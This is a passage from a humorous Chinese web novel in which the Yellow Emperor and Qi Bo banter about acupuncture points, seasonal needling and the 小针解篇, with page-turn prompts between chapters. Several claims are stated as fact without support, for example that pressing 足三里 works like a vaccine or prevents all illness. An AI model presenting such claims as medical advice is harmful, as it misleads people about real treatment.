黄帝一听，眼睛又亮了：“哈哈，这三阴交穴还真是妇科的圣药啊。” 歧伯接着说：“最后啊，咱们说说胃经上的穴位。胃经上有个穴位叫足三里穴，就在咱们小腿外侧，犊鼻下3寸，胫骨前嵴外1横指处。这个穴位啊，可是胃经的合穴，又是胃的下合穴，还是强壮要穴。专门治疗胃痛、呕吐、腹胀这些胃系疾病。您要是觉得胃不舒服了，揉揉这个穴位，立马就舒服多了。” 黄帝一听，连声称赞：“好好好，这足三里穴果然名不虚传啊。” 歧伯讲完了针灸里的穴位，黄帝觉得收获满满，连声道谢：“歧伯啊，你可真是我的良师益友啊。今天听了你的讲解，我算是明白了五脏六腑的相合关系以及针灸里穴位的作用了。” 歧伯一听，谦虚地说：“哪里哪里，陛下过奖了。能为陛下解惑，也是我的荣幸啊。” 黄帝闲来无事，就琢磨起了一个大问题：“哎，岐伯啊，你说咱们中医里的针灸，为啥要根据四季来选穴位呢？这背后的道理是啥啊？”岐伯一听，嘿，这可是个展示自己渊博知识的好机会，立马就来了精神：“皇上您问得好！这针灸啊，跟咱们自然界的四季那是息息相关的。来，听我给您细细道来。” 岐伯说：“春天的时候啊，咱们得取络脉、荥穴、大经和分肉之间的穴位。为啥呢？春天嘛，万物复苏，人体也一样，气血开始活跃起来。这时候，咱们得顺着这股劲儿，轻轻地、浅浅地刺激一下穴位，就能达到很好的效果。” “比如说啊，这个荥穴，就像是春天里刚冒出头的小草，虽然不起眼，但生命力旺盛。它位于手指或足趾的末端，比如手上的鱼际穴、脚上的然谷穴，都是荥穴的代表。鱼际穴啊，就在大拇指根部的那块肌肉上，按一按，能缓解咳嗽、咽喉肿痛啥的。然谷穴呢，就在脚内侧，脚踝骨前下方那块突起的骨头旁边，按它一下，能缓解上火、失眠这些小毛病。” “还有啊，这个大经，就是咱们常说的经脉，它就像春天的河流，开始流淌起来。咱们沿着经脉走，找那些分肉之间的穴位，也就是肌肉和肌肉之间的缝隙，轻轻扎一针，气血就通顺了。比如说这个合谷穴，就在手背，第一、二掌骨之间，靠近第二掌骨桡侧的中点处，是个万能穴，头痛脑热、牙疼啥的，按它都能缓解。” “至于络脉嘛，就像是春天里的小溪，虽然细，但也能滋养万物。咱们取络脉上的穴位，就像是给身体的小溪疏通一下，让它流得更顺畅。比如这个列缺穴，就在手腕上，两根肌腱之间，轻轻一按，就能缓解咳嗽、气喘这些小问题。” “所以啊，春天针灸，就像是给身体做了一次温柔的按摩，浅尝辄止，就能达到很好的效果。” 黄帝一听，觉得挺有道理，又问：“那夏天呢？”岐伯接着说：“夏天啊，咱们得取俞穴、孙络、肌肉和皮肤上的穴位。夏天嘛，热情如火，人体也一样，气血旺盛到了极点。这时候啊，咱们得深入肌理，好好刺激一下穴位，才能把火气泄出去。” “俞穴啊，就像是夏天里的大树，根深叶茂，能给身体提供源源不断的养分。咱们取俞穴，就像是给大树浇水施肥，让身体更健康。比如说这个肺俞穴，就在背部第三胸椎棘突下，旁开1.5寸的地方，按一按，能缓解咳嗽、气喘啥的。” “孙络呢，就像是夏天里的小树枝，虽然细，但也能输送养分。咱们取孙络上的穴位，就像是给小树枝修剪一下，让它长得更茂盛。比如说这个飞扬穴，就在小腿后外侧，昆仑穴直上7寸，腓骨后缘的地方，按它一下，能缓解腿疼、腿麻这些小毛病。” “还有啊，夏天咱们得好好刺激一下肌肉和皮肤上的穴位，就像是给身体做一次深层清洁。比如说这个曲池穴，就在肘横纹外侧端，屈肘的时候，肘横纹头与肱骨外上髁连线的中点处，按它一下，能清热泻火、降压啥的。” “所以啊，夏天针灸，就像是给身体做了一次大扫除，深入肌理，把体内的火气都泄出去，人自然就舒服了。” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 黄帝听了，连连点头，又问：“那秋天呢？”岐伯说：“秋天啊，咱们得取合穴，其他的就跟春天差不多了。秋天嘛，是收获的季节，人体也一样，气血开始收敛起来。这时候啊，咱们得温柔以待，别刺激得太厉害了。” “合穴啊，就像是秋天里的大粮仓，储存着满满的养分。咱们取合穴，就像是给粮仓开个小口，让身体慢慢吸收这些养分。比如说这个足三里穴，就在小腿外侧，犊鼻下3寸，胫骨前嵴外1横指的地方，按它一下，能增强免疫力、调理脾胃啥的。” “其他的嘛，就像春天那样，取络脉、荥穴、大经和分肉之间的穴位，轻轻地、浅浅地刺激一下就行了。秋天嘛，咱们得顺应自然规律，给身体一个慢慢适应的过程。” 黄帝一听，觉得岐伯说得头头是道，又问：“那冬天呢？”岐伯说：“冬天啊，咱们得取井穴、俞穴，而且要深刺、久留。冬天嘛，是深藏不露的季节，人体也一样，气血都藏在身体里面了。这时候啊，咱们得深入挖掘一下，把身体里的潜能都激发出来。” “井穴啊，就像是冬天里的水井，虽然外面看起来冷冰冰的，但里面却藏着源源不断的清泉。咱们取井穴，就像是给身体打开了一扇窗，让新鲜的空气和养分都能进来。比如说这个少商穴，就在大拇指内侧，指甲角旁0.1寸的地方，刺一下，能缓解咽喉肿痛、咳嗽啥的。” “俞穴嘛，就像是冬天里的小火炉，虽然不起眼，但能给身体提供温暖。咱们取俞穴啊，就像是给小火炉添了一把柴火，让身体更暖和。比如说这个心俞穴，就在背部第五胸椎棘突下，旁开1.5寸的地方，按一按，能缓解心慌、失眠这些小问题。” “而且啊，冬天针灸啊，咱们得深刺、久留。就像是给身体做了一次深度的滋养，让它能在寒冷的季节里也能保持活力。比如说这个足三里穴啊，咱们不仅可以按它一下，还可以灸它一下，用艾条灸个十几分钟，那效果就更好了。” 黄帝听了，觉得岐伯说得很有道理，又问：“那如果遇到转筋、痿厥这些病症呢？”岐伯说：“转筋啊，就是抽筋，这时候啊，咱们得立马取穴，让气血通顺起来。比如说这个承山穴，就在小腿后侧正中间，肌肉浮起的尾端处，用力按它一下，抽筋就能立马缓解。” “痿厥呢，就是肌肉萎缩、四肢无力啥的。这时候啊，咱们得把穴位张开来刺，让气血能更顺畅地流通。比如说这个阳陵泉穴，就在小腿外侧，腓骨头前下方凹陷处，按它一下，能缓解肌肉萎缩、腿疼啥的。” “所以啊，针灸啊，就像是给身体做了一次精准的调理。只要咱们掌握了四季取穴的道理，就能让身体更健康、更强壮！” 黄帝一听，哈哈大笑：“岐伯啊，你可真是个宝贝啊！有了你这套四季针灸秘籍，咱们中医的针灸疗法啊，肯定能更上一层楼！” 岐伯一听，也笑了：“皇上您过奖了。我这也是跟着大自然学习啊。只要咱们顺应自然规律，就能让身体更健康、更长寿！” 小针解篇第三（一） 话说有一天，黄帝，突然心血来潮，对身边的岐伯说：“岐伯啊，我有个事儿特好奇，就是想弄明白这‘易陈者，难入者，粗守形者，上守神者，神客者’到底是个啥玩意儿？你给我说道说道呗。” 岐伯一听，心里暗笑，这黄帝大人平时治理国家一本正经，没想到对中医这些玄之又玄的概念也这么感兴趣。于是，他清了清嗓子，开始了他那既专业又不失幽默的讲解。 “好嘞，黄帝，咱们就先说这‘易陈者’。这其实就是说啊，有些东西吧，就像咱们平时聊天，张口就来，简单直白，比如说‘多喝水对身体好’，这话谁都会说，这就是‘易陈’——容易说出来。但要是真让你做到每天八杯水，嘿，那就不一定了，这就是‘难入’——难以真正做到心里去，更难落实到行动上。” 黄帝一听，点了点头，心想：“嗯，这解释接地气，通俗易懂。” 岐伯接着往下说：“再来说说‘粗守形者’。这就好比那些刚学医的小白，拿起针来，眼睛就盯着那块肉，哦不对，是那个穴位，心里想着：‘书上说扎这儿，我就扎这儿！’结果呢，往往忽略了病人的整体状况，这就是典型的‘粗守形’——只看重形式，忽略了内在的气血平衡。” 黄帝听了，忍不住笑出声来：“哈哈，这么说来，那些新手大夫岂不是成了‘穴位猎人’，满世界找穴位扎？” 岐伯也跟着笑了：“正是如此，不过咱们可不能说人家‘粗鲁’，毕竟谁都有个学习的过程嘛。接下来咱们聊聊‘上守神者’。这‘神’啊，可不是什么神仙鬼怪，而是指咱们人体的正气、生命力。高手大夫看病，不光看表面症状，更重要的是通过望闻问切，感受病人的气血状态，判断是虚是实，该补还是该泻。这就叫‘上守神’——守住病人的根本，调理气血，恢复平衡。” 黄帝若有所思：“哦，这么说来，‘上守神’的医生就像是身体的调音师，哪里不和谐就调哪里？” 岐伯点头赞同：“对头！最后咱们说说这个‘神客者’。这个词儿听起来有点玄乎，其实啊，就是正气和邪气在一块儿打架的意思。正气呢，就是咱们身体里的‘保安队’，邪气呢，就是那些想搞破坏的‘小混混’。当邪气趁虚而入，和正气在身体的某个门户碰头，那就热闹了，一场大战在所难免。这时候，咱们就得判断清楚，到底是哪条经络的‘保安队’在和邪气干架，然后找个合适的地方出手相助，帮正气一把。” 黄帝听得津津有味：“哈哈，你这比喻太生动了！那‘未睹其疾者，先知邪正何经之疾也。恶知其原者，先知何经之病，所取之处也’又该怎么理解呢？” 岐伯笑道：“这啊，就是说咱们看病不能只看表面现象，得像个侦探一样，先找出病根儿。比如，看到一个人咳嗽，别急着给他止咳糖浆，得先问问他最近是不是压力大、熬夜多，或者是饮食不规律，这些都可能是引起咳嗽的幕后黑手。知道了邪气是从哪条经络入侵的，咱们就能有的放矢，该疏通疏通，该滋补滋补，这就叫‘先知邪正何经之疾，恶知其原，先知何经之病，所取之处’。” 黄帝听完，拍案叫绝：“岐伯啊，你这讲解真是既深刻又有趣，让我这个门外汉都听得明明白白。看来，中医之道，不仅在于医术，更在于智慧与幽默的结合啊！” 岐伯谦逊一笑：“哪里哪里，黄帝大人过奖了。中医博大精深，咱们不过是沧海一粟，不断探索，不断学习罢了。” 黄帝突然对身边的岐伯说：“岐伯啊，我这人对针灸特别好奇，你能不能给我讲讲这其中的门道啊？”岐伯一听，心里乐开了花，心想：这学生总算问到点子上了，看来我得好好给他上一课！ 岐伯清了清嗓子，开始娓娓道来：“针灸这事儿啊，说简单也简单，说复杂也复杂。首先你得明白，下针的快慢，那可是有讲究的，这叫做‘数迟徐疾’。别小看这几个字，它们可是针灸里的大学问！” 黄帝眨巴眨巴眼睛，一脸疑惑：“数迟徐疾？听起来像是武侠小说里的武功秘籍啊！” 岐伯笑了笑：“你理解得也没错，这确实有点像武功秘籍。简单来说，就是下针的时候要根据病人的情况来调整速度。如果病人气血虚弱，你得慢慢来，温柔点，就像是给一只受惊的小猫顺毛；要是病人气血太旺，那你就得快点下针，果断点，就像是给一只狂暴的大狗来一针镇静剂。” 黄帝一听，恍然大悟：“原来如此，那‘粗守关’又是怎么回事呢？” 岐伯叹了口气：“哎，这就是那些只懂皮毛的医生干的活儿。他们只知道守着四肢的穴位，比如什么合谷啊、足三里啊，却不懂得根据气血的正邪往来，灵活变通。就像是只知道按说明书吃药，却不知道自己的病根在哪里。” 黄帝点了点头：“那‘上守机’呢？听起来好像很厉害的样子。” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 岐伯竖起了大拇指：“没错，‘上守机’才是针灸的真谛！这里的‘机’啊，指的就是气血的变化。你得像个侦探一样，敏锐地捕捉到气血的虚实，然后根据情况来调整下针的速度和力度。就像是打游戏，你得根据敌人的动向来调整你的战术。” 黄帝越听越入迷：“那‘空中之机’又是啥呢？听起来像是武侠小说里的神秘武功。” 岐伯神秘一笑：“这个嘛，其实就是说，你得静下心来，用心去感受气血的变化。就像是钓鱼，你得耐心等待，直到鱼儿上钩的那一刻。当你感觉到气血在穴位里涌动的时候，那就是下针的最佳时机。你得紧紧守住这股气，千万别让它跑了。” 黄帝一拍大腿：“原来如此，那‘其来不可逢，其往不可追’呢？听起来像是错过的爱情啊！” 岐伯笑得前仰后合：“你理解得也没错，这确实有点像错过的爱情。不过在这里，它说的是，当气血太旺的时候，你千万别去补它，否则就会适得其反；当气血太虚的时候，你千万别去泻它，否则就会雪上加霜。就像是谈恋爱，你得在对的时间做对的事，否则就会搞砸一切。” 黄帝点了点头：“那‘不可挂以发’和‘扣之不发’呢？听起来像是两个相反的成语啊！” 岐伯点了点头：“你说得对，这两个确实是相反的。‘不可挂以发’说的是，气血的变化非常微妙，就像是头发丝一样细，你得小心翼翼地捕捉它，否则就会错过最佳时机；而‘扣之不发’呢，则是说，如果你不懂得补泻的道理，即使你下针了，也达不到预期的效果。就像是敲鼓，你得敲对地方，敲对节奏，才能发出美妙的音乐。” 黄帝听完后，感慨万分：“原来如此，针灸真是博大精深啊！” 岐伯笑了笑：“没错，针灸就像是一门艺术，需要你去感受、去领悟。不过呢，我也得给你补充一点现代的知识。在现代针灸学中，我们根据古人的经验和现代医学的研究，确定了人体上的许多穴位，每个穴位都有其特定的位置和功效。” 黄帝一听，眼睛一亮：“那能不能给我讲讲几个重要的穴位啊？” 岐伯点了点头：“当然可以，那我们就从‘合谷’说起吧。合谷穴位于手背的第一、二掌骨之间，也就是我们通常说的‘虎口’位置。这个穴位可是个万能穴，能够治疗头痛、感冒、发热等多种疾病。就像是家里的万能钥匙，能打开很多扇门。” 黄帝摸了摸自己的虎口：“原来如此，那‘足三里’呢？” 岐伯指了指黄帝的小腿：“足三里位于小腿外侧，膝盖骨下方三寸的位置。这个穴位可是个保健大穴，经常按摩或者针灸这里，能够增强免疫力、调理脾胃、缓解疲劳等多种功效。就像是给身体打了个疫苗，能够预防很多疾病。” 黄帝点了点头：“那‘太冲’呢？听起来像是武侠小说里的武功啊！” 岐伯笑了笑：“你说得对，太冲穴确实是个厉害的穴位。它位于脚背的第一、二跖骨之间，也就是我们通常说的‘大脚趾和二脚趾之间’的位置。这个穴位能够疏肝解郁、调理气血、缓解头痛等多种疾病。就像是给身体来了个心理按摩，让人心情舒畅。” 黄帝听完后，笑得合不拢嘴：“岐伯老师啊，你这课讲得真是太生动了！我现在对针灸可是充满了兴趣啊！” 岐伯拍了拍黄帝的肩膀：“那就好那就好！不过啊，我还得提醒你一句，针灸虽然神奇，但也不是万能的。你得根据病人的具体情况来制定治疗方案，千万不要盲目跟风或者滥用针灸哦！” 黄帝再次对岐伯说：“嘿，岐伯，再给我说一些那针灸之术其中的门道吧！” 岐伯一听，哈哈一笑，捋了捋长髯，慢条斯理地说：“大帝啊，这针灸之道，说简单也简单，说复杂也复杂。你得先明白气的往来，也就是要知道气的逆顺盛虚。这就好比咱们开车，得知道是往左拐还是往右拐，是加速还是刹车，对吧？” 黄帝点头如捣蒜：“对对对，你继续。” 岐伯接着说：“然后呢，你得知道啥时候下手，也就是要找准气可取之时。这就像咱们吃烧烤，得挑肉最嫩、火候正好那会儿吃，才最香！” 黄帝一听，乐了：“你这比喻，倒是挺接地气。” 岐伯微微一笑：“还有那粗枝大叶的家伙，他们懵懵懂懂，根本不懂气的微妙和细密。这就像有些人吃火锅，只知道瞎涮，不懂得享受食材在嘴里爆开的快感。” 黄帝哈哈大笑：“那妙手回春的医生呢？” 岐伯收敛笑容，正色道：“那自然是完全掌握了针灸的真谛。他们就像精准的狙击手，一针下去，直指要害。” 黄帝竖起大拇指：“厉害！那你说说，这往来逆顺是咋回事？” 岐伯解释道：“往者为逆，就是说气虚了，变小了，这就是逆。就像咱们跑步，跑累了，气喘吁吁，那就是气虚了。来者为顺，就是说形气平和，这就是顺。就像咱们跑完步，休息一下，气就顺了。” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 黄帝恍然大悟：“原来如此。那正行无间呢？” 岐伯说：“这就是说要知道该扎哪儿。就像咱们做菜，得知道啥时候放盐、啥时候放醋，才能做出美味佳肴。” 黄帝点头：“嗯，有点意思。那迎而夺之、追而济之呢？” 岐伯一拍大腿：“这就是泻法和补法啦！迎而夺之，就是气来的时候你给它来个急刹车，这就是泻。就像咱们开车，看到红灯了，一脚刹车踩下去。追而济之，就是气走的时候你给它加把油，这就是补。就像咱们开车，绿灯亮了，一脚油门踩下去。” 黄帝一听，哈哈大笑：“岐伯，你这解释，真是通俗易懂啊！不过，我听说针灸还有子午流注的说法，这是咋回事？” 岐伯一愣，随即笑道：“大帝真是博学多才啊！子午流注，就是根据十二经脉的气血盛衰规律，在不同的时间针刺不同的穴位。就像咱们吃饭，得按时按点，才能吃得香、身体棒。” 黄帝点头：“原来如此。那不同时间该扎哪些穴位呢？” 岐伯想了想，说：“比如说，寅时（凌晨3点到5点）是肺经当令，这时候可以针刺太渊穴，能润肺止咳。卯时（早上5点到7点）是大肠经当令，这时候可以针刺商阳穴，能通便排毒。辰时（早上7点到9点）是胃经当令，这时候可以针刺足三里，能促进消化。以此类推，每个时辰都有对应的经脉和穴位。” 黄帝听得目瞪口呆：“岐伯老弟，你这针灸之道，真是博大精深啊！我今天算是开了眼界了。” 岐伯谦虚地说：“大帝过奖了。其实针灸之道，说穿了也就是个熟能生巧的活儿。只要多练习、多总结，每个人都能成为针灸高手。” 小针解篇第三（二） 黄帝突然对针灸产生了浓厚的兴趣。他心想：“我这治理国家是一把好手，但这人体里的经络穴位，我可是门外汉啊！得找个专家问问。”于是，他找到了岐伯这位老中医，开启了他们的针灸小课堂。 黄帝问曰：“岐伯啊，我这心里头痒痒的，就想知道针灸到底是个啥门道？” 岐伯一听，捋了捋长胡子，慢悠悠地说：“这事儿啊，简单说呢，就是‘虚则实之，满则泄之’。就好比你这气口穴（现代对应穴位：太渊穴，位于腕横纹桡侧，桡动脉搏动处），要是觉得气虚了，咱就得给它补补；要是气太足了，胀得慌，那就得泄泄火。” 黄帝一听，眼睛一亮：“哟呵，这气口穴还能这样玩？快说说，太渊穴在哪儿？有啥作用？” 岐伯笑道：“太渊啊，就在你手腕那儿，一摸脉搏跳得欢的地方。它可是肺经的老大，主管呼吸、血脉，还能调节一身之气。气虚的人，扎扎这里，立马精神抖擞；气太足的，泄一泄，保证你心平气和。” 黄帝点头如捣蒜：“原来如此，继续继续！” 岐伯接着说：“‘宛陈则除之’，就是说啊，血脉里要是有瘀血、垃圾啥的，咱得给它清理干净。这就得用到放血疗法了，比如委中穴（位于膝关节后侧正中，腘横纹中点），这可是排毒的好帮手。腿上有啥淤堵，扎它一下，立马畅通无阻。” 黄帝一听，乐得直拍大腿：“哈哈，委中穴，这名字听着就霸气！以后谁腿不舒服，我就让他找委中穴，给它来个‘大扫除’！” 岐伯又补充道：“还有啊，‘邪胜则虚之’，就是说经络里有邪气作祟，咱就得把它赶出去。比如头痛脑热的，扎扎合谷穴（位于手背，第1、2掌骨间，第二掌骨桡侧的中点处），那可是止痛的灵丹妙药。” 黄帝挠挠头：“合谷穴，这名字听着挺温和的，怎么还能赶邪气呢？” 岐伯笑道：“可别小瞧它，合谷可是大肠经的原穴，能治头痛、感冒、牙疼啥的，简直就是‘疼痛杀手’！扎了它，邪气立马跑得无影无踪。” 黄帝听得津津有味，又问：“那‘徐而疾则实，疾而徐则虚’又是咋回事？” 岐伯解释说：“这就是手法问题了。徐而疾，就是慢慢扎进去，快速拔出来，这样能补气；疾而徐呢，就是快速扎进去，慢慢拔出来，这样能泄气。就像给气球打气或放气一样，得掌握好节奏。” 黄帝恍然大悟：“原来如此，这针灸还有这么多讲究！那‘言实与虚若有若无，察后与先若亡若存’又是啥意思？” 岐伯耐心地解释：“这句话啊，说的是针灸时要仔细感受气的虚实，决定补泻的先后顺序。比如你先扎了补气的穴，再扎泄气的穴，那可能效果就不咋地了。得根据病人的情况，灵活调整。” 黄帝点头赞同：“嗯，这针灸还真是门艺术，得用心去学。” 岐伯又说：“至于‘为虚与实，若得若失’，说的是针灸后的感觉。补了之后，人会觉得神清气爽，好像得到了什么宝贝；泄了之后呢，又会觉得一身轻松，好像丢掉了什么重担。” 黄帝听得哈哈大笑：“这描述得太贴切了！以后谁要是针灸完说没感觉，我就拿这话怼他！” 说到这里，岐伯突然话锋一转：“不过啊，黄帝大人，针灸虽好，可不要乱扎哦！每个人的体质都不一样，得根据个人情况来制定针灸方案。” 黄帝一听，连连点头：“对对对，你说得对！咱们得科学针灸，不能瞎搞。” 这时，黄帝突然想起了什么：“岐伯啊，你这说了半天，都是手上的穴位，腿上、背上、头上的穴位还没说呢！来来来，继续继续！” 岐伯无奈一笑：“好吧，既然你这么好学，那我就再给你讲讲。比如腿上的足三里（位于小腿外侧，犊鼻下3寸，胫骨前嵴外1横指处），那可是养生的大穴，灸一灸，强身健体，百病不生。” 黄帝一听，眼睛又亮了：“足三里，这名字听着就养生！以后我得天天灸它！” 岐伯笑道：“足三里确实是个好穴位，但也得适量哦。还有背上的肺俞穴（位于背部，当第3胸椎棘突下，旁开1.5寸），那是肺部的反射区，咳嗽、气喘啥的，扎扎这里，立马见效。” 黄帝一听，乐得合不拢嘴：“哈哈，这针灸真是太神奇了！以后谁要是有个头疼脑热的，我就让他来找我，我给他扎几针，保证药到病除！” 岐伯一听，连忙摆手：“黄帝大人，你这话说得可太大了。针灸虽好，但也不能包治百病啊。还是得根据病情，综合治疗。” 黄帝一听，连忙点头：“对对对，你说得对！我这人就是爱夸大其词。不过，这针灸还真是让我大开眼界啊！” 岐伯又说：“还有啊，头上的百会穴（位于头顶正中线与两耳尖连线的交叉处），那可是‘诸阳之会’，能提神醒脑，治疗失眠、头晕啥的。扎一扎，保证你精神焕发！” ，！ 黄帝一听，笑得合不拢嘴：“哈哈，这百会穴简直就是我的救星啊！以后要是熬夜加班累了，我就扎扎它，保证立马精神百倍！” 岐伯一听，也忍不住笑了：“黄帝大人，你这工作狂的性格，还真是改不了啊。不过，记得要劳逸结合哦，别把自己累垮了。” 黄帝闲来无事，就对岐伯说：“岐伯啊，我一直对针灸这东西挺好奇的，你能不能给我讲讲这其中的门道啊？”岐伯一听，哈哈一笑，说：“行啊，黄帝大人，那我就给你说道说道。” 岐伯清了清嗓子，开始娓娓道来：“这针灸啊，说白了就是调理人体里的那股子‘气’。咱们先说说这‘邪气在上’的事儿。你想啊，有些病啊，它就像是调皮捣蛋的孩子，专门往高处跑，跑到咱们的上半身来捣乱。为啥呢？因为这些邪气啊，它们入侵人体的时候，就像是坐电梯直达高层一样，专挑高处下手。所以啊，咱们针灸的时候，要是遇到这种邪气在上的情况，就得往上面扎针，把它们给赶出去！” 黄帝一听，点了点头，说：“嗯，有点意思，那‘浊气在中’呢？” 岐伯笑了笑，接着说：“这浊气在中啊，说白了就是咱们吃进去的东西没消化好，留在肠胃里捣乱。你想啊，咱们每天吃那么多好吃的，都得靠胃来消化，然后把精华送到肺里，滋养全身。可要是吃得不对，或者吃得太猛，那些没消化好的东西就会在肠胃里积压，变成浊气。这就像是一条拥堵的高速公路，车都堵在那儿，动弹不得。所以啊，针灸的时候，咱们得找阳明经的合穴，也就是咱们现代医学说的足三里穴，给它来一针，让那些浊气有个出口，顺顺当当地排出去！” 黄帝一听，眼睛一亮，说：“足三里？这名字听着就接地气！那它到底在哪儿呢？” 岐伯哈哈一笑，说：“黄帝大人，您这可问到点子上了！足三里啊，就在咱们小腿外侧，膝盖骨下面三寸的地方。您要是找不准，就用手掌按住膝盖，中指指尖往下一按，那儿就是足三里。这个穴位啊，可是个宝贝，不仅能调理肠胃，还能增强免疫力，让您身体倍儿棒！” 黄帝一听，乐得合不拢嘴，说：“哈哈，岐伯啊，你这针灸学问可真是博大精深啊！那‘清气在下’又是咋回事呢？” 岐伯摸了摸胡子，说：“这清气在下啊，说起来也挺有意思的。你想啊，咱们脚下的土地啊，又湿又冷，有时候那些湿气啊、寒气啊，就会趁机钻到咱们身体里来。它们一来啊，就像是在咱们身体里搞了个小型游泳池，让咱们浑身不自在。所以啊，针灸的时候，咱们得从脚开始，把那些清气给赶出去！当然了，这清气在下啊，也不全是坏事，有时候它还能给咱们的身体降降温呢！不过啊，要是它待的时间太长了，咱们就得动手把它请出去了！” 黄帝一听，哈哈大笑，说：“岐伯啊，你这解释可真是生动形象啊！那我再问个问题啊，这针灸扎深了扎浅了有啥讲究不？” 岐伯点了点头，说：“当然有讲究了！你想啊，要是那邪气就在表皮附近捣乱，咱们要是扎得太深，那邪气不就跟着针跑到里面去了吗？这就像是你抓小偷，本来小偷就在门口，你一棍子打过去，结果小偷顺着棍子爬到屋里去了！所以啊，针灸的时候啊，咱们得根据邪气的深浅来决定扎针的深浅。要是邪气浅啊，咱们就轻轻浅浅地扎一下；要是邪气深啊，那咱们就得深扎一点，把它们一网打尽！” 黄帝一听，恍然大悟，说：“原来如此啊！那皮肉筋脉这些部位扎针有啥不同呢？” 岐伯咧开嘴，乐呵呵地说：“嘿，陛下你知道吗？咱们这身上的皮肉筋脉啊，简直就是四大超级英雄，各有各的超能力！皮嘛，那就是咱们的钢铁战衣，全天候保护咱们不受外界那些小混混的骚扰。想象一下，你走在街上，风刀霜剑的，全靠这层皮甲给你挡着呢！ 肉呢，嘿嘿，那就是咱们的能量方块，满满当当的都是力气和营养。就像是随身带着的无限背包，饿了渴了，随时都能从里面掏点能量出来补充。你说，要是没有这肉仓，咱们岂不是得天天抱着能量饮料过日子？ 筋这家伙，简直就是咱们身体的超级弹力绳。有了它，咱们才能左蹦右跳，上蹿下跳的，跟个灵活的胖 子似的。没有它，咱们估计得跟木偶人一样，动都动不了，那可就惨喽！ 至于脉嘛，那可是咱们的生命之河，潺潺流淌的都是生命的源泉。它负责把营养啊、氧气啊这些好东西送到咱们身体的每一个角落，保证咱们每个细胞都能吃得饱饱的，活得开开心心的。 所以啊，针灸这事儿，咱们得讲究策略，不能一刀切。就像是打游戏一样，遇到不同的boss，咱们得换上不同的装备，用上不同的技能。得根据皮肉筋脉的不同特点，来选择合适的针法和穴位。这样才能做到精准打击，一针见血，哈哈，咱们的身体才能健健康康，啥毛病都没有！” 这章没有结束，请点击下一页继续阅读！ 黄帝一听，连连点头，说：“岐伯啊，你这针灸学问可真是太深奥了！我今天算是开了眼了！不过啊，我这还有个问题啊，你刚才说的那些穴位啊、经络啊，我都记住了，但是万一我忘了咋办呢？” 岐伯一听，哈哈一笑，说：“黄帝大人啊，您这可是问到点子上了！其实啊，咱们身体上这些穴位啊、经络啊，就像是咱们身上的记号一样，永远都忘不了！不过啊，要是您真忘了啊，也没关系！我这儿有个秘诀啊，只要您记住了这个秘诀啊，就能随时随地找到这些穴位了！” 黄帝一听，眼睛一亮，说：“啥秘诀啊？快告诉我！” 岐伯神秘一笑，说：“这个秘诀啊，就是‘同身寸’！您看啊，咱们每个人的身体都是独一无二的，所以穴位的位置也是因人而异的。但是呢，咱们可以用自己的手指来测量穴位的位置。比如说啊，咱们的大拇指关节的宽度啊，就相当于一寸；咱们的中指弯曲起来啊，中间那段关节的长度啊，就相当于两寸；咱们四个手指头并拢起来啊，从食指关节到小指关节的长度啊，就相当于三寸！所以啊，只要您记住了这个‘同身寸’啊，就能随时随地找到身上的穴位了！” 黄帝一听，乐得直拍大腿，说：“哈哈！岐伯啊！你这秘诀可真是太好了！我以后要是忘了穴位的位置啊！就用自己的手指来量一量！真是太方便了！” 岐伯一看黄帝这么高兴，也忍不住笑了起来。他心想啊：这黄帝大人啊！可真是好学啊！要是天下的百姓都能像黄帝大人这样好学啊！那咱们中医的学问啊！早就传遍天下了！ 喜欢黄帝内经爆笑讲解版。 小针解篇第三（三） 黄帝，突发奇想，对身边的岐伯说：“岐伯啊，我这心里头一直有个疑惑，想跟你探讨探讨针灸的那些个奥秘。你能不能给我讲讲，为啥有的人扎了针，病就好了，有的人却反而更糟了呢？” 岐伯一听，嘿，这可是个大问题，得好好给黄帝上一课。于是，他捋了捋长胡子，慢悠悠地说：“陛下啊，这事儿说来话长，但简而言之，就是一句话——针灸这事儿，得看准脉，下对针，不然，嘿嘿，后果自负哦！” 黄帝一听，眉头一皱，心里头那个好奇啊，就像猫见了鱼，眼睛都亮了：“快说说，快说说，怎么个看准脉，下对针？” 岐伯清了清嗓子，开始了他的针灸课：“首先啊，咱们得明白，人体里有五大重要的阴脉，要是病在里头，气儿不足，你还一股脑儿地扎针，想把那些阴脉里的气都给泻了，那可就惨了，直接就能把人送走。这就好比一个人本来就饿得慌，你还非要把他家里的粮食都抢走，他不饿死才怪呢！” 黄帝一听，恍然大悟：“哦，原来是这样，那五大阴脉是哪五条呢？” 岐伯笑了笑：“这个嘛，按照现代中医的说法，咱们可以理解为手太阴肺经、足太阴脾经、手少阴心经、足少阴肾经和手厥阴心包经。这些经脉都是滋养咱们身体的重要通道，要是乱泻，那可真是自找麻烦。” 黄帝点了点头，又问：“那三阳之脉又是怎么回事呢？为啥泻了它们，病人就会吓得不敢再来了？” 岐伯哈哈一笑：“三阳之脉，指的就是咱们的手阳明大肠经、足阳明胃经和手太阳小肠经。这三条经脉啊，那可是咱们身体的阳气之源，要是乱泻，就好比把太阳给遮住了，你说，这日子还咋过？病人不得吓得赶紧逃跑啊！” 黄帝一听，乐了：“哈哈，岐伯，你这比喻打得真是生动形象，我都听懂了！” 岐伯继续他的讲解：“还有啊，夺阴者死，夺阳者狂，这可不是闹着玩的。夺阴，说的就是扎错了尺泽穴附近的五里穴，这五里穴啊，在现代针灸学上，咱们一般说的是手五里，它位于臂外侧，当曲池与肩髃连线上，曲池上3寸处。这个穴位要是被误泻，那可是会伤到大阴之气的，人自然就危险了。” 黄帝一听，连忙追问：“那夺阳者狂呢？又是咋回事？” 岐伯神秘一笑：“夺阳啊，说的就是泻了那些阳气充足的穴位，比如咱们的手三里、足三里这些大补阳气的穴位。要是泻得太过，人就会变得亢奋，甚至疯狂。你想啊，一个人本来阳气就足，你再给他泻泻，他不就跟打了鸡血似的，到处乱窜嘛！” 黄帝一听，笑得前仰后合：“岐伯，你这解释，真是让我大开眼界啊！那这么说来，针灸这事儿，还真得是个技术活啊！” 岐伯点了点头：“没错，陛下，针灸可不是闹着玩的，它可是咱们老祖宗留下来的宝贝，得好好学，好好用。不然，嘿嘿，那可真是‘针’到用时方恨少啊！” 黄帝一听，连忙点头：“对对对，岐伯，你说得对。看来，我这以后啊，得多跟你学学，不然，我这身上的小毛病，可就得找上门来了！” 